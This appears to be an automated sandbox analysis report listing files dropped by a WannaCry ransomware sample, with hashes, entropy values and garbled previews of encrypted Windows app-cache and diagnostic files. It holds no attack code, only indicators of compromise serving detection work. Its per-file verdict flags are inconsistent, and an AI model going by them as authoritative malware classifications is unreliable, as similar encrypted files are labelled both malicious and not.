                                      Preview:WANACRY!.....93.f....)q..K7...j.T...h..tXsv....:...w.A`)..8..Z..T.~....6].k.....g..:.<u.qM..-:l.6.f....T....K........Ut..h..-.....@......M.L ...J...c.h...W~..._.H..A<.."..f.o.B..x. ..2Ok..............N..........E.,u$.'=....*...8...D.<0d.~O..*{..T.T....C.......f.|.....p.F....`.D.Q.]l4.lan......-I.....!'...v.jIg.._(1.......-E.}6R.8.P...iY..k@D.......R.p...8sn6.q..D.t.Rj\._|..OGY.s..v... .!..O........3..l.8.C.t.v.T...f..J..ut...o.6z.{.D...H.s.r..L9tV.YA...&.m.#...=......u...]t.5R.4..~M.P.RND....7.|.....b,.J..5.Ql.A.#..?+....El.....t..3~..h.n.t..'.t...{r.r.0..,.~.......26..3.M.a..R....%.(.O.\..2.[s.9:&Y..a.N...D.T=#.".D..L0.......rY..L......eG.....|.....".9..../....z.....9...L.x...k. ...2-0..O.....cB..J.....uR$....@...=0.....^....A.:L.~T(|.m.dm...@..[kU.,.A.Y..hs]$.].....~.,.....HG...Of..vk.A=R.ZT".{.x.=U..#..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_03_00_44_01_9156.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.777135046424902
                                      Encrypted:false
                                      SSDEEP:12:bkERWV+dRCD2OA07hR4sUvZTLb3VlX0mH+GIKz1E5OckCpGNniiw1ybX6HA2aKcN:bkFHs07hRvAB33VlXdL5KwbixnFcZD
                                      MD5:C5F10BF48C75F278A8ED53E098BE9FED
                                      SHA1:40EDAD019744896351131623FAE8060F6B9FE714
                                      SHA-256:01397370F31B018D2A129D05CE7648A102235FA89780AB99B65EB03D98EB7A18
                                      SHA-512:4F807CBE92CD2B78ADA320F17CC65E352D870DB468BD2F601E18B519561632C94724E0D19A887B23C89CA5842F386F0BFFF5FC3D1D21338A335645C3DB30B02D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....^E._n..i.....).@..8./.P.[....;...?hr..(.+ld..< R.^.!...6...._...s..|...Q..|&..$Y.....w+.av.T...e....Y..;M...\z..T=.&.(.X./..{.......4w..~o..]...o..F..E.....i.-..?}...S..Z..R...Ev.\....=..i..GDL.%)Q}..s...Sk.P... ...B.stv>7Hv....:t....j.......m2c....C...........=}U...~\...)..............+...X..S.y.J.=@~(....O..`.!..0.G......,...............@..g.......L.*?...A|au..r..DT..v..p.hH....*.I.q.\*...+...w.a....e9.. u...>2.../.4.u...s^e.....].+.t ..8..;..Nj..).:....f.o..D.f#.....2..U...].E..c;@T..y..v.|T......2..W).f)........[./..`.Q.#.$4.~.V/..-.....06..f)..r..w(.{....l.[/<d...#..(.WG}.Fm.....`.....G.j....fA..ec.p...I...kyWx....I..~.W.cC..P......l.......?.r9.D.]...5=S........KuB.....@.|......fM".&c....;`.]...IZ...d..d.C.k.".B...cD.y.e].fS..@#.Z..^.y...*...S../..M......T...r.s\...<-T.$.8........D.6E.Z.c..4.....:o8*..n..I

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_14_09_37_22_0506.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.765984253791901
                                      Encrypted:false
                                      SSDEEP:12:bkElSXNPnZH2jbLjo/VIDi6lHII4qYrsfg7/2YRbUjOMRrxvagy3XxkEdlfRfALx:bkVPZH2PLjUMlHIIi372YxYagglhAeoV
                                      MD5:784C779292A23FD72EFBB8B0C296EC9B
                                      SHA1:0FF9BB770ED038B2C4137E3E8551695A090CFFA8
                                      SHA-256:5CC4C66C42F616EB3BF7D213458AC6A825378FF0764695DB1550B579A5F70026
                                      SHA-512:FC1052E2B685CD1DD9A50F4182FF20B3B129B164440893787A58BC821CB52C7DA7FC78821174A3BA3EEF0A14D6AEA44B950F821ADEFE033C35F27524B3BF263F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....P..?)....&.;c:f...n...V.~..G5.F...V.:*[;....(Kl.......J.......;..^}. .&. h,d......V.;...9.......1..%.C..L ..:+A.'..c ../.@@.#. ...bv..sW.5....k.4...k............E....^.w..7....X.,....G..F..~..&'.......Y..T....].?"...ah>x.]\+....A:oF..g..(].q-....C.......t.... ..1.h7.......N..Y...g....D.7.h..$9.k..cl!..`.>.:O.oo{,.,.g...4.d.dDg....=.|f%....C..N..0..........GH...e..tGM[.G.?..-..L=(.lL.E...n...+........Td.....Z..B.......7>)..b..J58...p.>=_.{..mm..U.1!.N....#.f.X...lr....hd.d...e@.."...4.D...p....ga.......L-..k.Hc5......)$x..f..Ih/j......7........'O.............T.............c....4...+z@..........d.90.i..a\|.....V.........I..........Qf.(....~.w.......9...D.B....n..v.V.l/.{.=q.V.D.L....f.t.....z37y..CNU~...).bj.BV+j.H7)A...)..0.P[7.d..9t.}.....y....5...<8Hq.._k...7........9\m&...;.].jH+.S{....Um.<...&.h.D

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_22_11_18_56_1666.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.737532797608266
                                      Encrypted:false
                                      SSDEEP:24:bkyTY+7fvcEJ8Z5BxbWcdi1bnFUOUE+7lOEpfD4lX:bkEYM87Z5BkcYhUO/+TpfDsX
                                      MD5:9501FE4B78F593B630F6FF8678D69716
                                      SHA1:491671E2BBE2EC33980D88F98C24012713C49FD8
                                      SHA-256:C3D1811E10FE3098F987097FE2961D586CE92A1401DB7226F6F9386F7CE72D69
                                      SHA-512:C694B7CE82EE0C52C23024CA9722DFB23773CC51E0CADB4D5CBDF6B0B8BE04049C5532CE1416865DAE45DFA418C093B6A805DD541A6F20F24641161FF877E311
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....a..;$PNw-&..mo.|...Q.)0_.h.d.8....=.}..,.7c..^....q..=B.. )...bBpZ!+..Rca.....,.......o..d./..q.......Y-g........D......@..;.3.......`Z/.F8zC..9...;.4...Dg.~{...L.kt....].r......e...1...,...L..Y..)$<..z...(b..._.Z..w...k)..Z.z|@I..AW....!.....C..........q.P...E3.Q.3.Et..6C....l.....&(.*.C.vo(I.)...%%......P....dU...v.3.EN..#Y[.k.........:g..:-....%.....T.O..(..G....."..brD......y....o.....G.co....qa]...|.'F.E......$R5..{..mq>.(h.L...B...K...B.X...W*.q.p.Zb......-...)&.;Yk.`....TD(3. M.o...!.N[T{i)F.uq.ej.0...DQ.0..v~..k.&A.>!.0rEu]{~.i6.0..qq..wv7.G.D....;.........6.+0...(.=z...j/G.}.....2|.v.....).W7...'vDE|...x..2.u.....+......K.H./.1..*9...M..;]..h~.B......Q...s..6d...3.".2#2..]...E.{M..0]. 8e..#.vl.m.8..h.3WBy6>k`..4S....'.a.z...K....H..o.i.A{`S&o|].Nt..0..Q.`B!..o.V..l.*.O....Q...-.s..b..y.y...b.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.DiscoveryNotificationTask09_30_13_13_40_5442.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):872
                                      Entropy (8bit):7.785463351082603
                                      Encrypted:false
                                      SSDEEP:24:bkz+qdO0mdRVAw3VgrbEIFKQh+Vdlj/7K7fylsNY8:bkzHDA33Vg2/dBeNY8
                                      MD5:F9877E9A00BE84F45958C716949153D3
                                      SHA1:8B30490421B34F7E2E6EBFFE958A924186461292
                                      SHA-256:CFE237875401100A2816AA6575272651B380E10200854A54765EC2034524D8F7
                                      SHA-512:859F352C0A20816828EDACD6A638AABB9321284644CAE51D4FCF3D4638FC366526DFE244B331203D834CCF514BC1A04FF1D0202C9840D4A7BA01E84915F56F59
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....6v..{~$.L...+..]a.UD...r....=...+)kU..w^..@...L?...%..y...(P..9.5....b........8...q.P....N.Q...y....I.'.o....Y.d...]/.l..{..%... .fN.oa.W......C.~.....L.....'.4.h!dT.)..Yf< -".+.......!..z._..}2.QC.*."D...`..!O`..<.@bp,.^..XcB.<I....&.....7..]....C........R..ftR8...:....lg.n^.".m.._..$#.....*.&.ginn[G8....U...1........S.`.3/...ap....,.S.............o......{a.%n.8".pM.&..k....6..A..z...(K-.VZ9u.Y.c.$xK..Zk..@)....9Z+.....4*...FZv...<^m(*.\.......1 ..kEt.....5..>.3A,w$y.A.8.Hcm.$%...........K.d.F].=......;.nLsE..G-...n.}.....~`q.|]8...".Z..[O.<HS.P.....2\.'.g...~)0... h.2+..]...|.YQa8.......i.jr....jc....=.c...c.":`..........Uf:.?...M.&.....~.....`.!.....I%.6.......'..Bo. .c0...+/s...G..F...V]C.f.8..Y...Oe.)....."j.h}O8.Kl..=......r..W.Nd!...=.3..m..R...cb..q.xK.2..U.../c.{.\~...-.q.DyM?.[2g..Z..Q..C..W..G

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask06_19_12_32_41_2610.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1256
                                      Entropy (8bit):7.829557200272608
                                      Encrypted:false
                                      SSDEEP:24:bkmbWxhfcR/WO5ExdbyVKWknoHncgw+uQQwQ3ahQsgDt1Wy:bkma05zQWCUccQ9ahQpDt1Wy
                                      MD5:791F3B61BB63D40245643936A48DDFCB
                                      SHA1:377D93B4E2828E1F4006BFBD8EB0BB7A99126859
                                      SHA-256:89B7A891B6DF5A0EF8042FED54E298A28DB3CB2E0694F639DD5B803536369059
                                      SHA-512:8CCC6AFCD5F16010B28D5AC73856D0FCBD4382356A198B87CA618D82346AB7A3317D2BDE9D23D61D7769F8EE026FFCBBFD3C2855B3F25E42F6BAE96EA3D9960F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....~...1....~.....vi....{..LO...p.V........<].......V. W..i..,,....iRt..Z...N.$\.....E.?. ..3P.7.T>...A#.....a...`w.)...."....Y..W..dyE^.S.e..J....>............a...a......R.?4.?oh..A.h.R.>..K.=.......^......Sy*....x....c....~o.2.ry..L.......&8D.............|.dq...)F8f4.>..0|vP...;..;..m..y+^....qZj..K...R......,R.=.[.k...G..Y....uB..a.......o.o.2..c.^G.{D...o.h.4...`.J.V.......}.......Vo-c.9 .|J.zj..I......O....U..1....u.A....j..[.m...H.>/.R.$M(.?.H.<HJ?.o.<.n....wD.vj.@...h.Z....^}..<+)1....5.}...n.....q.U..>...X_.[E....I.O4.P./=<2....4O....'|...E.....1q.|./+..`#.a.r\...5xP^.V...ZP.v....cy.....K.f)..U....M..m>4..k?Yfg:NG..x.@....ib.n.T.%.b..2.....PXH....X:K.&..c7.x.WDLb.u.meA...~....*Q....3..<f%.............wq..7..oT.......>-.pf..|....b(.v...6.|M._..q ....e.h!.,....F.^.G....,....aB{.o.R...eYDZ/.....* ..W..c{...o..M..@...V..O..[44.E.i.`..[..m...w...D..r....b9.......m;f...BE......\7....%.bLD.........V...u....n...5...+..(...zx...>

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_05_16_21_23_8984.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1256
                                      Entropy (8bit):7.860129922012033
                                      Encrypted:false
                                      SSDEEP:24:bkDQAeRj6ZUBB+6uiuSdSuxYHPzg8KagcK4jCY357euFnmefg:bkDQEUB64hYH0aR2Y3mGg
                                      MD5:A4818787D376F43B7C0EA733E612C4FC
                                      SHA1:EFD598BC870E0E968434B830FE2C2A42CCC0599F
                                      SHA-256:F9278C480BF03177CA7579E17D6CD880E959286989A8728D252D113387995D6D
                                      SHA-512:1ED589F977793DEE749C6D734388BCBB5BFE5850506A1E36FCB6B8E5DF15BE44C9C2F031DC0B2C30180B98CFB76019C277CB17E3799519A8718EE6FECAF8B82C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....B.....M....w...=.W..YO,.Qu..Uy.R.....C..|..|&..p.?.w.:..j......07.@y.R5.O...Z..+..I.v.+.....>..~...{.S.'..Z..v.*P..].....i.0.w...T....>..Td./b.v....Y-.M.TJ..6 O...L..F...)r.Qm..,.F.E.1..l......v......W.....X..2...^.Z.#i......Sr....c...Zb..Oa..............zb...I.7.:WD>.3..1..Y....f.7..]2s.,..Ae.y*...,7.#....pu..u......... .M.........kB$m..5....>.\....:.....-....3.......r....<S..]..#.h.jN@,>..^...6...s?.....L..s..a^.B4.vb...%.k {-G...4.6.%$X..`.Yn......=....u6.....n.s..!...._...~.../.t........-.."."..X.8....Q.h....:...M&Zh..My.....4...N...|Z...R...y.......K.....g...,c.}...!0.CXL.. .x.H^J.~F...F...........:.(..Ly-.;.......o..94Aa...z2..h.[...~.....G[^.U.F.qV.4..4S..B..R.Xl......4'e{.e.5-}..Q....{fF<.j...:7..,;..a......."~j}...?..<v.N."....2Z_.5..m...5vZ.ij....yv/.GVV.~ ....c.....6..JLe..^.h..}.5.....A.d.X..@.})...7.#.v.,..,.U...?v5.b.f...?........}m..@9\....."..e{z..<..k.z.m..p@.6Xj*.../.b^..!.q..c..V.9.IC......x...U... .g..7.#...

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_19_38_8611.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1880
                                      Entropy (8bit):7.911072044806339
                                      Encrypted:false
                                      SSDEEP:48:bke38kfG1KDFQByrLk0CGHNO+C6BSq3Un7ji:o8G1KDWyrTCGHNOT6BSgz
                                      MD5:435A6A6222D4FFB58C8247BE9A7624ED
                                      SHA1:8ACED69E013884CE3911FF16980C411D010799CA
                                      SHA-256:CB5C2CB1EF4AB628100C83707141ED8D675FB6FBEBEA57A5EE5677D98818829E
                                      SHA-512:4A14D97EEFA1468F0DD9ACB7E57C241B18AAAC31A6D19707E78CE3DA67458AB21E95A80B760F43D82345250C17AAEFC9D56A4CA4EA163B3BDBEB6D3ADAAFFC75
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......."@..sN....m;&.6J.a&.q...T+.sP;.!.t.Yf.../...j...o.MEr.3.3.;.4q.+........t=......]<.L.e...i.o...}...~A4@.....!....._~......yP.]......w.{.z...=T.`..v,.#.z.".V....<.gX.q..`9..&...E..c...#.@..KP...LY.3h.....[u.ip.B%J[q......h;.o...=V.......|.}......5........2....p.L.w`y...6U..^.....bsX...lN........V.:P...JK;.q.,..m|C.H....N......> ..1..".. .....j....D-...`.v....hZ....[Z/^..~...R........./O.k.o3.p.W<.......>X..H%.u..KRQu....w5a|Y.:cD7.[.....V3n0..c<........r..6j..o...._..m..f...p...B).>.....'.."$m&G...P...b...K.....F7UY..D.s9...wn{..Y.T.?N..t.'....{..e.s...".X..5.>{.p.;.a.....P.5.....T.G\..FT.V$i.#}.,.(...,.L..I<.;$.S..b.R..{E....E;NR....h..r[h]..rN...*.....|.f..7.T.R..y!.*.C}.....w'.~41..&_T....j.-.i.....c.U....c.X.QE2P.Q.].Q.8y.....=.5...ZO@......2.U.".(.9....$.?../O.M&.s.s.g..............+.[.7..j...V`.........Y..D+....Gm....C.8....6,E.#7g...a.......3.!..*.].SQ...b.Fa<....]./f@.~.o^].,..AO..z.\...FO...S.6...i..+Z.A;;xT.$

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_17_13_50_48_4321.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1944
                                      Entropy (8bit):7.884861579049299
                                      Encrypted:false
                                      SSDEEP:48:bk/x1eF0LAQGQVIB435Uj2ODKp8b+0yHSlE0Cl5jR/V5v3:onAQGQV5+COme+HSlE0K5jNVp
                                      MD5:F11A0AA8AA96FF6512EA6F2F9A3E734B
                                      SHA1:E653B49735B4A68DF668461EF5F8E28122969D00
                                      SHA-256:2F23049241AD3D144AECC67CF95FEE017AB020D09BDE7C9E5EF6D65E0D68FAF3
                                      SHA-512:FBF8872DD99847742DE8BBE19D85892BE6E264AA3C0CEA03C92FAF4FAFF9E0211ECE865A418EACE3B08922D607E0E563A948491B3083C4CBA1CC7941CFB5D43A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....\k[P...\e....aV.+..d...:..:..:.b..../"..*...L)...Y....s.......W...R..B/M....{).L..M6..E8".{...\W.p...t...PN.~......F....y.+AQ..).....E...c7t.|..h.....H..D..R8.k..[R....r>.@<..[G..E6.0....:...W.~..(.,u.R..t..:.................:Y.|a..s.W.....d...?....s..........4.?...-..g.....-.&..b.VB ....u...(..].;._.}.z/e...(..{#..9...:R^..l.o"..*M..8S.6...a....2N8.%.o!X8...../.. ...w...b.-.G2......\.6.g.4.f.si.iv..n+. .....A.?.:.(....h_x.mK c....H......`.s..1.Vn.....p#.W..?....b`.$....G...M.|...........Q..f<....J?c..T..md.Rbb...9...i..i.,..X-.C.%=C.x.,.w..y 'dBP.v.g.Cw..d.5Qx``..[.rn....7a.,.k.7......Qe.S.kr4.0...[/l.........Z..{.Au..:..............V.>5Cf]c.YGk7...,....r.u...Q./j......~............4q.<.e.g~.....+.....>.T.*..D..Fp....I\. .>.H....K...utG....P..t.x.4.}c...wwF...].QP....(...D..,.G....9........l^....sN..JyI;&...9w..."..1.2\.6...G...]..<y...`r.-7c.,..}@..%.._...".o.F.Z.L...2..........>?.C.....-/w.tb.sG.....B....~......&.K6.r...un

                                      C:\Users\user\AppData\Local\Packages\Microsoft.OneConnect_8wekyb3d8bbwe\LocalState\DiagOutputDir\OneConnect.PostInstallationTask08_18_17_07_25_4954.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1576
                                      Entropy (8bit):7.860944890779441
                                      Encrypted:false
                                      SSDEEP:24:bktl4qyiYnNe3im+0e6W0zMR9FLH29JyPfiD7nk1Lq/HnwfExRyR+cqfJ:bkvxYnjBQYR9FL2J04oq/HwMRyR+RfJ
                                      MD5:99E76C1289D7AE44194F474048F89ADA
                                      SHA1:A137152606FC52477F27B7B4E55905E5DC64C397
                                      SHA-256:6C792ECA52A9EE369F38CD9FD8959EBEB873A2E41120CE6E5D0684A075C173E6
                                      SHA-512:5FD8D58908EB9AB2BAE6C97B3FB244E1DB68557995FC2AA3327AA048EE5F51E7D7D40BE6ED1A4E16C46B6BF414F0CBDDBE8B6F636DA08C712C52D835C55AFCD5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......W.....q2....t.PQ1^.._..sQ..GJ.....L....X.Wy.t*...)..-.,....xz 9....".D.JZ.7.x L72........2H8k..S.L...g.S.\....ST?..J..>[.fgSJ{....].9..nDrF."[s"...,t....8u;.Ie...vf.h.Q...I.-.....N..2..I...\.}+-..M...T.....K.]........@.@..{.f..l.Z.n.....a.............;.~.j.$......|J:]jl.E.g.i*.4.g..G..K...\z..r.NV6.6. ...F.smD...%`.8&.+.a.Y.a...QZA<.*.p.#.2...l.4m.b...I........U..ET...]..}c..n..y..m.:...AA..U...$v..~3..]..^........@..E^?..CxO.ZI...`7,nn..'.:R.&Y.x){.I.i}.p. 1.9....y8C..Z..j.Dn....@...y...I|........0..........b.|.d...........&[...1x+..e..i.!G.A#`....$0.....(..C.B...?"A#|-3.Gb$..x.fW$.@.].Z.4.$....l.qq...b....p..s....%s.'.e.@3.:...^..F....y.N.v..=G..'.!^.."....lK.....I(...*. ~@[X..#M..Jy}.n".';...\.'.b......,....jr8...,7Rq.....y..^.h'.U/..3.P...<.1-...'^&fZ..#.ZB%)..V..xv..*I.9}..O..O ..V.6..^E...2i.~.gp..ZX.9.@..9&qv~..).h.......q&..1j.................:y..&.......N..$.b..ZgBq....}...#..i..H.`.............r......

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_10[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):202120
                                      Entropy (8bit):7.999008318630675
                                      Encrypted:true
                                      SSDEEP:6144:ypewjWPJGltB8sOWydG1bB3lAuP9W5RCw46w75vqr:yPoGmdcDAuliP4T7y
                                      MD5:10F4A71A8072CD4875228709E9EF965E
                                      SHA1:D9F94749EA71FFE619FF7849ECF6CCA7B57862B5
                                      SHA-256:005EF295DFA8A14CFDBFA4ED24925CB1090DD1879A8A9D99A8278E33F21B5624
                                      SHA-512:C574E0FA5BE14C4313AB8FCA67DF17884873BCE016CD0332EBB7B6C2890C6E900E4185B8E6320BC3BC7DEC10638E512334DB83E94AF52B055CA6D00DA1C4B74B
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....x....|....m.-.a..g.".'.pK.r....k.v....z.0 .e*Y4X..R......RW;..E....;........8~y..T.... pp>.mR......:.....I.#x.8.i..ht...h. .k*........jL..c*.......3. ..=..d...R..pJ.l}.....+.k....6....?G..zk.=..._...."\.C<..v.h8...z>.b...c'\.0.I.T..Q..o......c........g..Q~.F.'...u..._.V........-.......D....;..n..I!.x./(n...F...uM.1$.....d`.).rC.:...E|..y.*V.Kg.QL.*'K.XW...!3.......`...^.d..W.>.............F.......*..r_p*.-.+H....+.g7...'....Q...[...7.K...4}...`....3w.9...<..R...FX...........:.m.\....q..6).J2.....9F.| ....IH%...xP...v.V......Z..m.. .$*..;....O<3.G&<|cn)...:...o.h.Q....dt....0,..H..WPp..I?`.;..n..z5.H!..8..c..p..^N...B:....3...+|.......Mj.L$..*.?..X.{.y....]..j..$....1b'..1.h8.m....m.9q..T...'>H.tR..j.....J....@.]..c.4...R..W.....a8....6....L......{G..z.heW..E!....[....;H...o....n%......uN.....SJ*.3.V.W5............T..}.B...U.[U[F'...D...>.J.#.../~..XB...J....1._..I......{D.....C/.@..!j_.&>B.G..+^..O..~.!..{.-H.d.....u.R

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_11[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):34536
                                      Entropy (8bit):7.995141081857129
                                      Encrypted:true
                                      SSDEEP:768:bIKi58tlkg/HI57EBg+P0T6P4ZGq0gp4HsYrvka+dUHdQNao0t4f:8tIlkOo1ERMT7ZGeYYUd3E
                                      MD5:DEFD034A4A16266FF5D78459DD3A2493
                                      SHA1:7C2B20099A58EC02DBA87346CADDC3A81D8E17AB
                                      SHA-256:86DCDF8A6CE4CC2EEA630D48F5B2C8ECE0C67339EAB5CBDAE6432671F04921F0
                                      SHA-512:F4217FA53BFF1563D8AF128A776512609B792CEC95128C0D761077D7FA4676A1B21772B13299576F92DE08FD416D93036595E278EF22BD7A25CE9A1ED95E7972
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....*......Z...h.?zW........~7........."<..*...9.a...Tn\N7..............q_.L.{..q..).9.Vw..k...'...`_.AMT....g.I_Z.Mg..4N5......l."R..f.%..~....O.B....R.d...6p...^.Z.k..j..1.$.jX..T...../.:..K..~.=kE.D9..i../..'..4.VB.N.,.V...1eH5.e."..I.f.[Y...........p#. *...L.e.`:^..%f..?...0m...5....k.G......o....y....:.K....+.N?.Ry.p8.S..y"Xz... }...W....>......<.......l..#..n.J...i.....7p.LaC/.$.......I..V.t.V....Y.9......u....r-.:D.if....N...K.V..0...'!y..y..P.f...t._.f.....n*\Mj_.<.[.7...y..`....%TJ.2gu..T...|....}.ye...a..n.0x.]....._K....4..D..uT`.*....s.O..../;..(...F.{.|.]j...........%..9.PZEUt]=.0.......7.E.R..sk..N.SY...qI\zq.P:_....x.^.@...dN.#.I.+.@..!1..(.D(k...w...a\...f.}k.....Yx.R]Y...o..Bu....yE;I......zSCr....I%.1.Cd..}S .I....#A1.s....3.S.Xi...r.9.O..9D'9<.=.|.<}..?>.k8.DV...SU(&.g..A......._%#...5.n.p'Km[.j.y~q..X..C....t+.w9^......~V.&.V.).....3.:.C.<.....x..qD..@m..."..;...NM.i.3..r.$....;..o...($A..f....[..B...h...'.

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_12[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):227064
                                      Entropy (8bit):7.999207016899439
                                      Encrypted:true
                                      SSDEEP:6144:K5kbrgX2c0U/tV05TENUGQU1iteU1v66G8J4:ekbrgPD0h8LS7tJ4
                                      MD5:0EFA78B3AE2C586DBAFF3259CC7BD557
                                      SHA1:B4DA7B82C917CEC4C1A13874358F6716A3CBED0B
                                      SHA-256:4A1FC968E34B0701FD10C99631C54721A9C07E9B0D2E8C9ED8ABC14DAA2BF118
                                      SHA-512:0AD016124F98049EEF038FEEB2EB51453FE552B91208554A8C4719979D7D859A2B86B5C49F535FCE21932BD599174659F240144E131BA7DF9EFC46506E2DE4D7
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....4.J.G..~;.`.....:..&q.6..x.b..*+......b.+Q..;$.Uz.V=.+.-.\9.R;.f.8`..../]....t..L.).$.I:. ...8..^...]:7.&.i..\..s..<MA.P...^..5. .L.G~,g.....RP......Y.}..i...m.&....c.I....S.'....:...G\>.}{..yp.kS^s..w.S...".....J...C.....c..9.TjX..7r.o..6B.G...&.....u..........D....t...4.Bx.i`.N-m..S..Y.....!z....kO..........P.'.>Jm.t.q&f*)${P.....RN3...A...!.`...?f....p./V.-..x?.|..uzr......7..u.W..r...J....P...X..tg.\..Wp..6.f.......|..........*P(.f...EE.jI1....a..].....N..qv..ya$.4.....q.$Z..'.#(T.*........hA......-..3.v.l.....M..%...W.i4a..*N.\.hh..;..'...l.....%WX...r.en+.3=.y/yE|.......IK..........s......g..ApR&J0....)k..).t.6h...R4d..N"..R.2..{T.)..............h...._Hx..B.]f.S..-U;?{`...?o%....e..$.....{r.2.1B.|k....1..F...e[dB1..].Xj...`....*..*.V.C+.:._...y+...u.]..@..9.Pw..L..'.m.x.-T...$....#.nfj.O.S.....F...,...Y..f.c.S..Fk.I.........an...T..J.2".+.1.a..v...[.............].L.i... ..k...b/k_c..-j.W.....{.F.Su.....hn...S..

                                      C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\PMAQH2N6\64\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_13[1].txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):53752
                                      Entropy (8bit):7.996919462007046
                                      Encrypted:true
                                      SSDEEP:768:ecTipTBIrwHJeql9NIHUAUyPWhsQaRAhLTof5h2nntQo2j18NfsS7fKcBMhpEcGz:1+9OrwHwk9N4NUqKyBIaasSW6qKcCQfs
                                      MD5:E1661CEC24388ADDBC35F428CFF4A41F
                                      SHA1:C72A19B1F6CF742EBA12C9C1CCF3A3A29BB66A92
                                      SHA-256:DA0368CF5DEF9F5AAB8197BC1E212D244B5BED7897BC39496F2A5A08543628A7
                                      SHA-512:767C653152DB6F85021AA516052758D14F0B1085E5A995623367DA57EC10E301DA9B41E7CA4699571D3552594EF44FF7A737C1ECB00B6EF9A30B7B7253B4163C
                                      Malicious:true
                                      Reputation:unknown
